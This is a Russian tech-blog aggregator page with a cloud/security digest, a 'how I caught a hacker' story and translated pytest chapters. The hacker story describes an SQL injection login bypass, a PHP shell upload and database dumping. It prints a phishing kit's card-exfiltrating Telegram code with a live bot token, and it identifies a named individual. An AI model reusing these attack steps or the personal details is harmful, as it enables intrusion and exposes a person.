...

суббота, 20 апреля 2019 г.

Разработка в облаке, ИБ и персональные данные: дайджест для чтения на выходных от 1cloud

Это — материалы из нашего корпоративного и хабраблога о работе с персональными данными, защите IT-систем и облачной разработке. В этом дайджесте вы найдете посты с разборами терминов, базовых подходов и технологий, а также материалы об IT-стандартах.


/ Unsplash / Zan Ilic

Работа с персональными данными, стандарты и основы ИБ


  • В чём суть закона о персональных данных (ПД). Вводный материал о законодательных актах, регулирующих работу с ПД. Рассказываем, кого касается и не касается ФЗ №152, и что нужно понимать под согласием на обработку ПД. И приводим схему действий для соответствия требованиям ФЗ, еще — затрагиваем вопросы безопасности и средств защиты.

  • Персональные данные: средства защиты. Разбираем требования к защите ПД, типы угроз и уровни безопасности. Помимо этого — приводим список законодательных актов по теме и базовый перечень мер по обеспечению безопасности ПД.

  • ПД и публичное облако. Третья часть нашего цикла материалов о персональных данных. На этот раз говорим о публичном облаке: рассматриваем вопросы защиты ОС, каналов связи, виртуальной среды, а также рассказываем про распределение ответственности за безопасность данных между владельцем виртуального сервера и IaaS-провайдером.

  • Европейские регуляторы выступили против cookie-баннеров. Обзор ситуации с уведомлением пользователей об установке cookies. Речь пойдет о том, почему госструктуры ряда европейских стран заявляют, что использование баннеров противоречит GDPR и нарушает права граждан. Рассматриваем вопрос с позиции профильных министерств, владельцев сайтов, рекламных компаний и пользователей. Этот хабрапост уже набрал более 400 комментариев и готовится перейти отметку в 25 тысяч просмотров.

/ Unsplash / Alvaro Reyes
  • Что нужно знать об электронно-цифровой подписи. Знакомство с темой для тех, кто хотел бы понимать, что собой представляют ЭЦП, и знать, как работает система их удостоверения. Еще мы кратко рассматриваем вопросы сертификации и разбираемся, на каких носителях можно хранить ключи и стоит ли покупать специализированное ПО.

  • IETF одобрили ACME — это стандарт для работы с SSL-сертификатами. Говорим о том, как новый стандарт поможет автоматизировать получение и настройку SSL-сертификатов. И в результате — повысить надежность и безопасность верификации доменных имен. Приводим механизм работы ACME, мнения представителей индустрии и особенности аналогичных решений — протоколов SCEP и EST.

  • Стандарт WebAuthn официально завершен. Это — новый стандарт беспарольной аутентификации. Говорим о том, как он работает WebAuthn (схема ниже), а также о преимуществах, недостатках и препятствиях на пути внедрения стандарта.

  • Как работает резервное копирование в облаке. Базовая информация для тех, кто хотел бы разобраться, сколько копий стоит сделать, где их разместить, как часто обновлять и как настроить простую систему бэкапов в виртуальной среде.

  • Как защитить виртуальный сервер. Вводный пост о базовых способах защиты от наиболее распространенных вариантов атак. Даем основные рекомендации: от двухфакторной аутентификации до мониторинга с примерами реализации в облаке 1cloud.

Разработка в облаке


  • DevOps в облачном сервисе: наш опыт. Рассказываем, как выстраивалась разработка облачной платформы 1cloud. Сперва — о том, как мы начинали на базе традиционного цикла «разработка — тестирование — отладка». Далее — о DevOps-практиках, которые мы применяем сейчас. Материал затрагивает темы внесения изменений, сборки, тестирования, дебаггинга, развертывания программных решений и использования DevOps-инструментов.

  • Как устроен процесс Continuous Integration. Хабрапост о CI и специализированных инструментах. Рассказываем, что понимают под непрерывной интеграцией, знакомим с историей подхода и его принципами. Отдельно говорим о вещах, которые могут помешать внедрению CI в компании, и приводим ряд популярных фреймворков.

  • Зачем программисту рабочее место в облаке. Еще в 2016-го на страницах TechCrunch говорили, что локальная разработка ПО постепенно «умирает». Ей на смену пришла дистанционная работа, а рабочие места программистов ушли в облако. В нашем общем обзоре этой темы мы обсуждаем, как организовать рабочее пространство для группы разработчиков и развертывать новое ПО в виртуальной среде.

  • Как разработчики используют контейнеры. Рассказываем, что происходит с приложениями внутри контейнеров, и как этим всем управлять. Также поговорим о прикладном программировании и работе с высоконагруженными системами.

/ Unsplash / Luis Villasmil


Другие наши подборки:

Let's block ads! (Why?)

[Из песочницы] Как я хакера ловил


Каждый из нас может стать жертвой злоумышленника, но иногда жертва и добыча меняются местами.

Это краткая история о том, как неумелое использовании технологий может привести к раскрытию личности. Стать я будет полезна как юным хакерам, желающим получить «легкие деньги», так и тем, кто хочет их поймать.


Одним февральским вечерком я был занят поиском места для романтичного свидания со своей возлюбленной. Через какое-то время мое внимание привлек сайт milleniumfilm.ru, не доступный в настоящее время. Сайт предоставлял услуги аренды небольших кинозалов для частного просмотра. Красивые картинки, умеренные цены, есть онлайн поддержка, одно но: данные банковской карты предлагалось ввести на не защищенной странице этого же домена. Насторожившись, я написал в техподдержку сайта, и мошенники не заставили себя долго ждать — поняв, что я достаточно технически грамотен послали меня на 3 буквы. Конечно, мошенникам нет смысла тратить на меня время, но зачем так грубо? — В любой ситуации нужно оставаться Человеком.

С отзывами о сайтах такого же плана можно ознакомиться тут: zhaloba-online.ru. Некоторые из них даже до сих пор работают.


Чувствуя вселенскую несправедливость, я принялся изучать сайт на предмет уязвимостей. Ткнув пальцем в небо Первый введеный адрес привел меня в панель администратора, который вежливо просил указать «Логин» и «Пароль».
Скриншот

Первая же попытка SQL-инъекции
1' or '1

дала мне доступ к настройкам сайта.
Скриншот.
Данный скриншот был сделан после атаки, потому имя пользователя такое говорящее.

Сайт создателя данного творения Gelloiss.ru красовался на первой же странице. Особенно интересным оказался раздел «Банковские карты» — там отображались все введенные данные: фамилия и имя держателя карты, номер карты, срок действия, cvc2 и код подтверждения из смс.
Большой скриншот. Часть данных закрашена.

Как это работает.

Получив реквизиты банковской карты, злоумышленник делает запрос на перевод средств с карты и перенаправляется платежной системой на страницу 3D-secure, где нужно ввести код из смс. Код приходит в смс на телефон жертвы, который вводит его в форме сайта. Получив код из смс, мошенник вводит его на странице 3D-secure подтверждая транзакцию. Вся эта схема требует неотлагательный действий самого мошенника, что наводит на мысль, что сайт должен быстро уведомлять о наличии жертвы.


На странице «Настройка фильмов» была достаточно простая форма для формирования тексто-графических блоков. Функция загрузки картинки не фильтровала контент загружаемых файлов, что навело на мысль о возможности залить php-shell. Шелл успешно залился в /images/, откуда я его скопировал в корень сайта под названием login.php. Получив доступ к консоли, я сделал дамп базы данных и бэкап всех файлов в архив, который был успешно скачан.
Содержание архива.

Среди содержимого архива меня привлек файл telegram.php.
Код.
$ cat telegram.php
<?
function send_mess($text) {
  $token = "626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs";
  $mess = $text;
  $chat = "-302359340";
  /*return "<iframe style='width:500px; height:500px;' src='https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess."'></iframe>";*/
  file_get_contents("https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess);
}

PHP скрипт содержал в себе токен телеграм-бота и отправлял сообщения в чат при вызове функции send_mess. Поискав по коду сайта стало ясно, что именно с помощью телеграм-бота злоумышленнику отправляются данные карт, смс код.
grep
./cart.php:22:send_mess("Имя клиента: ".$name."%0D%0AEmail: ".$email."%0D%0AТелефон: ".$phone."%0D%0AДата посещения: ".$date."%0D%0A"."Время: ".$time."%0D%0AГород: ".$city."%0D%0AСумма: ".$sum."%0D%0AСписок заказанных услуг: ".$services."%0D%0AIP: ".$ip."%0D%0AЗабанить: ".$link_ban_ip);
./pay/ms.php:21:  send_mess("Сумма: ".$sum."%0D%0AИмя владельца карты: ".$name."%0D%0AНомер карты: ".$num."%0D%0AСрок годности, месяц: ".$month."%0D%0AГод: ".$year."%0D%0Acvv: ".$cvv);

Что ж, у нас есть токен телеграм-бота, chat_id, адрес создателя сайта на котором красуется skype «ura7887» и telegram «Gelloiss» (раньше telegram не был указан, потому для того чтобы убедиться что telegram-аккаунт принадлежит владельцу сайта я использовал наживку).
Скриншот с сайта gelloiss.ru

Выясним, кто создал чат, в который бот отсылает сообщения.
curl
$ curl "https://api.telegram.org/bot626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs/getChatAdministrators?chat_id=-302359340"
{"ok":true,"result":[{"user":{"id":365019332,"is_bot":false,"first_name":"Iskr\u00e1","username":"Gelloiss","language_code":"ru"},"status":"creator"}]}

Как видно создатель чата имеет такой же username как и сайт создателя — «gelloiss».
Помните: интернет ни чего не забвает! Поиск по ключевым словам: «gelloiss», «ura7887», привел меня на страницу вконтакте Юрия Искры, где указан как сайт «Gelloiss.ru», так и skype «ura7887».
Скриншот.

А вот тут: vk.com видно, что данным скайп логином Юрий пользовался еще 6 лет назад, когда ему было 14 лет.
Скриншот.

А так же тут anime.anidub.com.
Скриншот.

Так же можно найти сообщение на форуме хакеров blackhacker.ru, с предложением продажи фишингового сайта.
Скриншот.

На момент начала истории, на сайте Gelloiss.ru не был указан логин telegram, потому мне нужно было связать владельца telegram-аккаунта с владельцем сайта или страницей вконтакте. Для этого я создал некий маркер, который владелец telegram-аккаунта должен будет разместить у себя.
shell
$ sha256sum <<< "i'm carder yuri iskra."
a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8  -

Далее я написал в telegram и представившить потенциальным заказчиком предложил пройти проверку: попросил разместить маркер a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8 на странице вконтакте.
Скриншот диалога telegram

Лично у меня не осталось сомнений, что страница вконтакте принадлежит злоумышленнику. На момент взлома сайта, в базе данных было не менее 100 различных номеров карт, а к моменту закрытия сайта еще +100.

В заключение давайте посмотрим, где учится наш «герой». Это легко определить посмотрев где учатся его «друзья по вузу» на странице вконтакте.

Большой скриншот

Мне удалось получить доступ к сообщениям, которые отсылает бот. Масштабы бедствия поражают: за 3 месяца телеграм-бот отослал примерно 13 тысяч сообщений. Даже если предположить, что всего-лишь пятая часть полученных данных валидна, то список пострадавших превысит 2 тысячи человек. Хакер работает не один, а с сообщниками, которые завлекают клиентов и помогают с переводом средств. На данный момент злоумышленники получают паспортные данные, телефоны и номера карт с сайта moneyonline.world.

Let's block ads! (Why?)

[Перевод] Python Testing с pytest. Конфигурация, ГЛАВА 6

Вернуться Дальше

В этой главе мы рассмотрим файлы конфигурации, которые влияют на pytest, обсудим, как pytest изменяет свое поведение на их основе, и внесем некоторые изменения в файлы конфигурации проекта Tasks.

Примеры в этой книге написаны с использованием Python 3.6 и pytest 3.2. pytest 3.2 поддерживает Python 2.6, 2.7 и Python 3.3+.


Исходный код для проекта Tasks, а также для всех тестов, показанных в этой книге, доступен по ссылке на веб-странице книги в pragprog.com. Вам не нужно загружать исходный код, чтобы понять тестовый код; тестовый код представлен в удобной форме в примерах. Но что бы следовать вместе с задачами проекта, или адаптировать примеры тестирования для проверки своего собственного проекта (руки у вас развязаны!), вы должны перейти на веб-страницу книги и скачать работу. Там же, на веб-странице книги есть ссылка для сообщений errata и дискуссионный форум.

Под спойлером приведен список статей этой серии.


Оглавление

Конфигурация

До сих пор в этой книге я говорил о различных нетестовых файлах, которые влияют на pytest в основном мимоходом, за исключением conftest.py, который я довольно подробно рассмотрел в главе 5, Плагины, на странице 95. В этой главе мы рассмотрим файлы конфигурации, которые влияют на pytest, обсудим, как pytest изменяет свое поведение на их основе, и внесем некоторые изменения в файлы конфигурации проекта Tasks.


Понимание файлов конфигурации pytest

Прежде чем я расскажу, как вы можете изменить поведение по умолчанию в pytest, давайте пробежимся по всем не тестовым файлам в pytest и, в частности, кто должен заботиться о них.

Следует знать следующее:


  • pytest.ini: Это основной файл конфигурации Pytest, который позволяет вам изменить поведение по умолчанию. Поскольку вы можете внести довольно много изменений в конфигурацию, большая часть этой главы посвящена настройкам, которые вы можете сделать в pytest.ini.
  • conftest.py: Это локальный плагин, позволяющий подключать хук-функции и фикстуры для каталога, в котором существует файл conftest.py, и всех его подкаталогов. Файл conftest.py описан в главе 5 «Плагины» на стр. 95.
  • __init__.py: При помещении в каждый test-подкаталог этот файл позволяет вам иметь идентичные имена test-файлов в нескольких каталогах test. Мы рассмотрим пример того, что пойдет не так без файлов __init__.py в тестовых каталогах в статье «Избегание коллизий имен файлов» на стр. 120.

Если вы используете tox, вас заинтересует:


  • tox.ini: Этот файл похож на pytest.ini, но для tox. Однако вы можете разместить здесь свою конфигурацию pytest вместо того, чтобы иметь и файл tox.ini, и файл pytest.ini, сохраняя вам один файл конфигурации. Tox рассматривается в главе 7, "Использование pytest с другими инструментами", на стр. 125.

Если вы хотите распространять пакет Python (например, Tasks), этот файл будет интересен:


  • setup.cfg: Это также файл в формате INI, который влияет на поведение файла setup.py. Можно добавить несколько строк в setup.py для запуска python setup.py test и запустить все ваши тесты pytest. Если вы распространяете пакет, возможно, у вас уже есть файл setup.cfg, и вы можете использовать этот файл для хранения конфигурации Pytest. Вы увидите, как это делается в Приложении 4, «Упаковка и распространение проектов Python», на стр. 175.

Независимо от того, в какой файл вы поместили конфигурацию pytest, формат будет в основном одинаковым.

Для pytest.ini:


ch6/format/pytest.ini
[pytest]
addopts = -rsxX -l --tb=short --strict
xfail_strict = true
... more options ...

Для tox.ini:


ch6/format/tox.ini
... tox specific stuff ...
[pytest]
addopts = -rsxX -l --tb=short --strict
xfail_strict = true
... more options ...

Для setup.cfg:


ch6/format/setup.cfg
... packaging specific stuff ...
[tool:pytest]
addopts = -rsxX -l --tb=short --strict
xfail_strict = true
... more options ...

Единственное отличие состоит в том, что заголовок раздела для setup.cfg — это [tool:pytest] вместо [pytest].


List the Valid ini-file Options with pytest –help

Вы можете получить список всех допустимых параметров для pytest.ini из pytest --help:

$ pytest --help
...
[pytest] ini-options in the first pytest.ini|tox.ini|setup.cfg file found:                                                                 

  markers (linelist)       markers for test functions                                                                                      
  empty_parameter_set_mark (string) default marker for empty parametersets                                                                 
  norecursedirs (args)     directory patterns to avoid for recursion                                                                       
  testpaths (args)         directories to search for tests when no files or directories are given in the command line.                     
  console_output_style (string) console output: classic or with additional progress information (classic|progress).                        
  usefixtures (args)       list of default fixtures to be used with this project                                                           
  python_files (args)      glob-style file patterns for Python test module discovery                                                       
  python_classes (args)    prefixes or glob names for Python test class discovery                                                          
  python_functions (args)  prefixes or glob names for Python test function and method discovery                                            
  xfail_strict (bool)      default for the strict parameter of xfail markers when not given explicitly (default: False)                    
  junit_suite_name (string) Test suite name for JUnit report                                                                               
  junit_logging (string)   Write captured log messages to JUnit report: one of no|system-out|system-err                                    
  doctest_optionflags (args) option flags for doctests                                                                                     
  doctest_encoding (string) encoding used for doctest files                                                                                
  cache_dir (string)       cache directory path.                                                                                           
  filterwarnings (linelist) Each line specifies a pattern for warnings.filterwarnings. Processed after -W and --pythonwarnings.            
  log_print (bool)         default value for --no-print-logs                                                                               
  log_level (string)       default value for --log-level                                                                                   
  log_format (string)      default value for --log-format                                                                                  
  log_date_format (string) default value for --log-date-format                                                                             
  log_cli (bool)           enable log display during test run (also known as "live logging").                                              
  log_cli_level (string)   default value for --log-cli-level                                                                               
  log_cli_format (string)  default value for --log-cli-format                                                                              
  log_cli_date_format (string) default value for --log-cli-date-format                                                                     
  log_file (string)        default value for --log-file                                                                                    
  log_file_level (string)  default value for --log-file-level                                                                              
  log_file_format (string) default value for --log-file-format                                                                             
  log_file_date_format (string) default value for --log-file-date-format                                                                   
  addopts (args)           extra command line options                                                                                      
  minversion (string)      minimally required pytest version                                                                               
  xvfb_width (string)      Width of the Xvfb display                                                                                       
  xvfb_height (string)     Height of the Xvfb display                                                                                      
  xvfb_colordepth (string) Color depth of the Xvfb display                                                                                 
  xvfb_args (args)         Additional arguments for Xvfb                                                                                   
  xvfb_xauth (bool)        Generate an Xauthority token for Xvfb. Needs xauth. 

...

Вы увидите все эти настройки в этой главе, за исключением doctest_optionflags, который рассматривается в главе 7, "Использование pytest с другими инструментами", на странице 125.


Плагины могут добавлять опции ini-файлов

Предыдущий список настроек не является константой. Для плагинов (и файлов conftest.py) возможно добавить опции файла ini. Добавленные опции также будут добавлены в вывод команды pytest --help.
Теперь давайте рассмотрим некоторые изменения конфигурации, которые мы можем внести с помощью встроенных настроек INI-файла, доступных в core pytest.


Изменение параметров командной строки по умолчанию

Вы использовали уже некоторые параметры командной строки для pytest, таких как -v/--verbose для подробного вывода -l/--showlocals для просмотра локальных переменных с трассировкой стека для неудачных тестов. Вы можете обнаружить, что всегда используете некоторые из этих options—or и предпочитаете использовать them—for a project. Если вы устанавливаете addopts в pytest.ini для нужных вам параметров, то вам больше не придется вводить их. Вот набор, который мне нравится:

[pytest]
addopts = -rsxX -l --tb=short --strict

Ключ -rsxX дает установку pytest сообщать о причинах всех skipped, xfailed или xpassed тестов. Ключ -l позволит pytest вывести трассировку стека для локальных переменных в случае каждого сбоя. --tb=short удалит большую часть трассировки стека. Однако, оставит файл и номер строки. Параметр --strict запрещает использование маркеров, если они не зарегистрированы в файле конфигурации. Вы увидите, как это сделать в следующем разделе.


Регистрация маркеров, чтобы избежать опечаток маркера

Пользовательские маркеры, как описано в разделе «Маркировка тестовых функций» на странице 31, отлично подходят для того, чтобы позволить вам пометить подмножество тестов для запуска определенным маркером. Тем не менее, слишком легко ошибиться в маркере и в конечном итоге некоторые тесты помечены @pytest.mark.smoke, а некоторые отмечены @pytest.mark.somke. По умолчанию это не ошибка. pytest просто думает, что вы создали два маркера. Однако это можно исправить, зарегистрировав маркеры в pytest.ini, например так:

[pytest]
...
markers = 
  smoke: Run the smoke test test functions
  get: Run the test functions that test tasks.get()
...

Зарегистрировав эти маркеры, вы теперь также можете увидеть их с помощью pytest --markers с их описаниями:

$ cd /path/to/code/ch6/b/tasks_proj/tests
$ pytest --markers

@pytest.mark.smoke: Run the smoke test test functions

@pytest.mark.get: Run the test functions that test tasks.get()

@pytest.mark.skip(reason=None): skip the ...

...

Если маркеры не зарегистрированы, они не будут отображаться в списке --markers. Когда они зарегистрированы, они отображаются в списке, и если вы используете --strict, любые маркеры с ошибками или незарегистрированные отображаются как ошибки. Единственная разница между ch6/a/tasks_proj и ch6/b/tasks_proj заключается в содержимом файла pytest.ini. В ch6/a пусто. Давайте попробуем запустить тесты без регистрации каких-либо маркеров:

$ cd /path/to/code/ch6/a/tasks_proj/tests
$ pytest --strict --tb=line

============================= test session starts =============================

collected 45 items / 2 errors

=================================== ERRORS ====================================
______________________ ERROR collecting func/test_add.py ______________________
'smoke' not a registered marker
________________ ERROR collecting func/test_api_exceptions.py _________________
'smoke' not a registered marker
!!!!!!!!!!!!!!!!!!! Interrupted: 2 errors during collection !!!!!!!!!!!!!!!!!!!
=========================== 2 error in 1.10 seconds ===========================

If you use markers in pytest.ini to register your markers, you may as well add --strict to your addopts while you’re at it. You’ll thank me later. Let’s go ahead and add a pytest.ini file to the tasks project:

Если вы используете маркеры в pytest.ini для регистрации своих маркеров, вы также можете добавить --strict к своим addopts. Ты поблагодаришь меня позже. Давайте продолжим и добавим файл pytest.ini в проект задач:

Если вы используете маркеры в pytest.ini для регистрации маркеров, вы можете также добавить --strict к имеющимся при помощи addopts. Круто?! Отложим благодарности и добавим файл pytest.ini в проект tasks:


ch6/b/tasks_proj/tests/pytest.ini
[pytest]
addopts = -rsxX -l --tb=short --strict
markers =
  smoke: Run the smoke test test functions
  get: Run the test functions that test tasks.get()

Здесь комбинация флагов предпочитаемые по умолчанию:


  • -rsxX, чтобы сообщить, какие тесты skipped, xfailed, или xpassed,
  • --tb = short для более короткой трассировки при сбоях,
  • --strict что бы разрешить только объявленные маркеры.
    И список маркеров для проекта.

Это должно позволить нам проводить тесты, в том числе дымовые(smoke tests):

$ cd /path/to/code/ch6/b/tasks_proj/tests
$ pytest --strict -m smoke

===================== test session starts ======================
collected 57 items

func/test_add.py .
func/test_api_exceptions.py ..

===================== 54 tests deselected ======================
=========== 3 passed, 54 deselected in 0.06 seconds ============ 

Требование минимальной версии Pytest

Параметр minversion позволяет указать минимальную версию pytest, ожидаемую для тестов. Например, я задумал использовать approx() при тестировании чисел с плавающей запятой для определения “достаточно близкого” равенства в тестах. Но эта функция не была введена в pytest до версии 3.0. Чтобы избежать путаницы, я добавляю следующее в проекты, которые используют approx():

[pytest]
minversion = 3.0

Таким образом, если кто-то пытается запустить тесты, используя более старую версию pytest, появится сообщение об ошибке.


Остановка pytest от поиска в неправильных местах

Знаете ли вы, что одно из определений «recurse» заключается в том, что бы дважды выругаться в собственом коде? Ну, нет. На самом деле, это означает учет подкаталогов. pytest включит обнаружение тестов рекурсивно исследуя кучу каталогов. Но есть некоторые каталоги, которые вы хотите исключить из просмотра pytest.

Значением по умолчанию для norecurse является '. * Build dist CVS _darcs {arch} and *.egg. Having '.*' — это хорошая причина назвать вашу виртуальную среду '.venv', потому что все каталоги, начинающиеся с точки, не будут видны.

В случае проекта Tasks, не помешает указать src, потому что поиск в тестовых файлах с помощью pytest будет пустой тратой времени.

[pytest]
norecursedirs = .* venv src *.egg dist build

При переопределении параметра, который уже имеет полезное значение, такого как этот параметр, полезно знать, какие есть значения по умолчанию, и вернуть те, которые вам нужны, как я делал в предыдущем коде с *.egg dist build.
norecursedirs — своего рода следствие для тестовых путей, поэтому давайте посмотрим на это позже.


спецификация дерева тестового каталога

В то время как norecursedirs указывает pytest куда не надо заглядыывать, testpaths говорит pytest, где искать. testspaths — это список каталогов относительно корневого каталога для поиска тестов. Он используется только в том случае, если в качестве аргумента не указан каталог, файл или nodeid.

Предположим, что для проекта Tasks мы поместили pytest.ini в каталог tasks_proj вместо тестов:

\code\tasks_proj>tree/f
.
│   pytest.ini
│
├───src
│   └───tasks
│           api.py
│           ...
│
└───tests
    │   conftest.py
    │   pytest.ini
    │
    ├───func
    │       test_add.py
    │       ...
    │
    ├───unit
    │       test_task.py
    │       __init__.py
    │       ...

Тогда может иметь смысл поместить тесты в testpaths:

[pytest]
testpaths = tests

Теперь, если вы запускаете pytest из каталога tasks_proj, pytest будет искать только в tasks_proj/tests. Проблема здесь в том, что во время разработки и отладки тестов я часто перебираю тестовый каталог, поэтому я могу легко тестировать подкаталог или файл, не указывая весь путь. Поэтому мне этот параметр мало помогает в интерактивном тестировании.

Тем не менее, он отлично подходит для тестов, запускаемых с сервера непрерывной интеграции или с tox-а. В этих случаях вы знаете, что корневой каталог будет фиксированным, и вы можете перечислить каталоги относительно этого фиксированного корневого каталога. Это также те случаи, когда вы действительно хотите сократить время тестирования, так что избавиться от поиска тестов — это здорово.

На первый взгляд может показаться глупым использовать одновременно и тестовые пути, и norecursedirs. Однако, как вы уже видели, тестовые пути мало помогают в интерактивном тестировании из разных частей файловой системы. В этих случаях norecursedirs могут помочь. Кроме того, если у вас есть каталоги с тестами, которые не содержат тестов, вы можете использовать norecursedirs, чтобы избежать их. Но на самом деле, какой смысл ставить дополнительные каталоги в тесты, которые не имеют тестов?


Изменение Правил Обнаружения Тестов

pytest находит тесты для запуска на основе определенных правил обнаружения тестов. Стандартные правила обнаружения тестов:

• Начните с одного или нескольких каталогов. Вы можете указать имена файлов или каталогов в командной строке. Если вы ничего не указали, используется текущий каталог.
• Искать в каталоге и во всех его подкаталогах тестовые модули.
• Тестовый модуль — это файл с именем, похожим на test_*.py или *_test.py.
• Посмотрите в тестовых модулях функции, которые начинаются с test.
• Ищите классы, которые начинаются с Test. Ищите методы в тех классах, которые начинаются с `test
, но не имеют методаinit`.

Это стандартные правила обнаружения; Однако вы можете изменить их.


python_classes

Обычное правило обнаружения тестов для pytest и классов — считать класс потенциальным тестовым классом, если он начинается с Test*. Класс также не может иметь метод __init__(). Но что, если мы захотим назвать наши тестовые классы как <something>Test или <something>Suite? Вот где приходит python_classes:

[pytest]
python_classes = *Test Test* *Suite

Это позволяет нам называть классы так:

class DeleteSuite():

    def test_delete_1():
        ...

    def test_delete_2():
        ...

    ....

python_files

Как и pytest_classes, python_files изменяет правило обнаружения тестов по умолчанию, которое заключается в поиске файлов, начинающихся с test_* или имеющих в конце *_test.
Допустим, у вас есть пользовательский тестовый фреймворк, в котором вы назвали все свои тестовые файлы check_<something>.py. Кажется разумным. Вместо того, чтобы переименовывать все ваши файлы, просто добавьте строку в pytest.ini следующим образом:

[pytest]
python_files = test_* *_test check_*

Очень просто. Теперь вы можете постепенно перенести соглашение об именах, если хотите, или просто оставить его как check_*.


python_functions

python_functions действует как две предыдущие настройки, но для тестовых функций и имен методов. Значение по умолчанию — test_*. А чтобы добавить check_*—вы угадали—сделайте это:

[pytest]
python_functions = test_*  check_*

Соглашения об именах pytest не кажутся такими уж ограничивающими, не так ли? Так что, если вам не нравится соглашение об именах по умолчанию, просто измените его. Тем не менее, я призываю вас иметь более вескую причину для таких решений. Миграция сотен тестовых файлов — определенно веская причина.


Запрет XPASS

Установка xfail_strict = true приводит к тому, что тесты, помеченные @pytest.mark.xfail, не распознаются, как вызвавшие ошибку. Я думаю, что эта установка должно быть всегда. Дополнительные сведения о маркере xfail см. В разделе "Маркировка тестов ожидающих сбоя" на стр. 37.


Предотвращение конфликтов имен файлов

Полезность наличия файла __init__.py в каждом тестовом подкаталоге проекта долго меня смущали. Однако разница между тем, чтобы иметь их или не иметь, проста. Если у вас есть файлы __init__.py во всех ваших тестовых подкаталогах, вы можете иметь одно и то же тестовое имя файла в нескольких каталогах. А если нет, то так сделать не получится.

Вот пример. Каталог a и b оба имеют файл test_foo.py. Неважно, что эти файлы содержат в себе, но для этого примера они выглядят так:


ch6/dups/a/test_foo.py
def test_a():
pass

ch6/dups/b/test_foo.py

def test_b():
pass

С такой структурой каталогов:

dups
├── a
│   └── test_foo.py
└── b
    └── test_foo.py

Эти файлы даже не имеют того же контента, но тесты испорчены. Запускать их по отдельности получится, а запустить pytest из каталога dups нет:

$ cd /path/to/code/ch6/dups
$ pytest a
============================= test session starts =============================

collected 1 item

a\test_foo.py .                                                          

========================== 1 passed in 0.05 seconds ===========================

$ pytest b
============================= test session starts =============================

collected 1 item

b\test_foo.py .                                                          

========================== 1 passed in 0.05 seconds ===========================

$ pytest
============================= test session starts =============================

collected 1 item / 1 errors

=================================== ERRORS ====================================
_______________________ ERROR collecting b/test_foo.py ________________________
import file mismatch:
imported module 'test_foo' has this __file__ attribute:
  /path/to/code/ch6/dups/a/test_foo.py
which is not the same as the test file we want to collect:
  /path/to/code/ch6/dups/b/test_foo.py
HINT: remove __pycache__ / .pyc files and/or use a unique basename for your test file modules
!!!!!!!!!!!!!!!!!!! Interrupted: 1 errors during collection !!!!!!!!!!!!!!!!!!!
=========================== 1 error in 0.34 seconds ===========================

Ни чего не понятно!
Это сообщение об ошибке не дает понять, что пошло не так.

Чтобы исправить этот тест, просто добавьте пустой __init__.py файл в подкаталоги. Вот пример каталога dups_fixed такими же дублированными именами файлов, но с добавленными файлами __init__.py:

dups_fixed/
├── a
│   ├── __init__.py
│   └── test_foo.py
└── b
    ├── __init__.py
    └── test_foo.py

Теперь давайте попробуем еще раз с верхнего уровня в dups_fixed:

$ cd /path/to/code/ch6/ch6/dups_fixed/

$ pytest
============================= test session starts =============================

collected 2 items

a\test_foo.py .                                                          
b\test_foo.py .                                                         

========================== 2 passed in 0.15 seconds ===========================

Так то будет лучше.

Вы, конечно, можете убеждать себя, что у вас никогда не будет повторяющихся имен файлов, поэтому это не имеет значения. Все, типа, нормально. Но проекты растут и тестовые каталоги растут, и вы точно хотите дождаться, когда это случиться с вами, прежде чем позаботиться об этом? Я говорю, просто положите эти файлы туда. Сделайте это привычкой и не беспокойтесь об этом снова.


Упражнения

In Chapter 5, Plugins, on page 95, you created a plugin called pytest-nice that included a --nice command-line option. Let’s extend that to include a pytest.ini option called nice.

В главе 5 «Плагины» на стр. 95 вы создали плагин с именем pytest-nice который включает параметр командной строки --nice. Давайте расширим это, включив опцию pytest.ini под названием nice.


  1. Добавьте следующую строку в хук-функцию pytest_addoption pytest_nice.py: parser.addini('nice', type='bool', help='Turn failures into opportunities.')
  2. Места в плагине, которые используют getoption(), также должны будут вызывать getini('nice'). Сделайте эти изменения.
  3. Проверьте это вручную, добавив nice в файл pytest.ini.
  4. Не забудьте про тесты плагинов. Добавьте тест, чтобы убедиться, что параметр nice из pytest.ini работает корректно.
  5. Добавьте тесты в каталог плагинов. Вам нужно найти некоторые дополнительные функции Pytester.

Что дальше

В то время как pytest является чрезвычайно мощным сам по себе—особенно с плагинами—он также хорошо интегрируется с другими инструментами разработки программного обеспечения и тестирования программного обеспечения. В следующей главе мы рассмотрим использование pytest в сочетании с другими мощными инструментами тестирования.

Вернуться Дальше

Let's block ads! (Why?)

[Перевод] Python Testing с pytest. Использование pytest с другими инструментами, ГЛАВА 7

Вернуться

Обычно pytest используется не самостоятельно, а в среде тестирования с другими инструментами. В этой главе рассматриваются другие инструменты, которые часто используются в сочетании с pytest для эффективного и результативного тестирования. Хотя это отнюдь не исчерпывающий список, обсуждаемые здесь инструменты дадут вам представление о вкусе силы смешивания pytest с другими инструментами.

Примеры в этой книге написаны с использованием Python 3.6 и pytest 3.2. pytest 3.2 поддерживает Python 2.6, 2.7 и Python 3.3+.


Исходный код для проекта Tasks, а также для всех тестов, показанных в этой книге, доступен по ссылке на веб-странице книги в pragprog.com. Вам не нужно загружать исходный код, чтобы понять тестовый код; тестовый код представлен в удобной форме в примерах. Но что бы следовать вместе с задачами проекта, или адаптировать примеры тестирования для проверки своего собственного проекта (руки у вас развязаны!), вы должны перейти на веб-страницу книги и скачать работу. Там же, на веб-странице книги есть ссылка для сообщений errata и дискуссионный форум.

Под спойлером приведен список статей этой серии.


Оглавление

pdb: Debugging Test Failures

Модуль pdb является отладчиком Python в стандартной библиотеке. Вы используете --pdb, чтобы pytest начал сеанс отладки в точке сбоя. Давайте посмотрим на pdb в действии в контексте проекта Tasks.

В "Параметризации Фикстур" на странице 64 мы оставили проект Tasks с несколькими ошибками:

$ cd /path/to/code/ch3/c/tasks_proj
$ pytest --tb=no -q
.........................................FF.FFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF.FFF...........
42 failed, 54 passed in 4.74 seconds

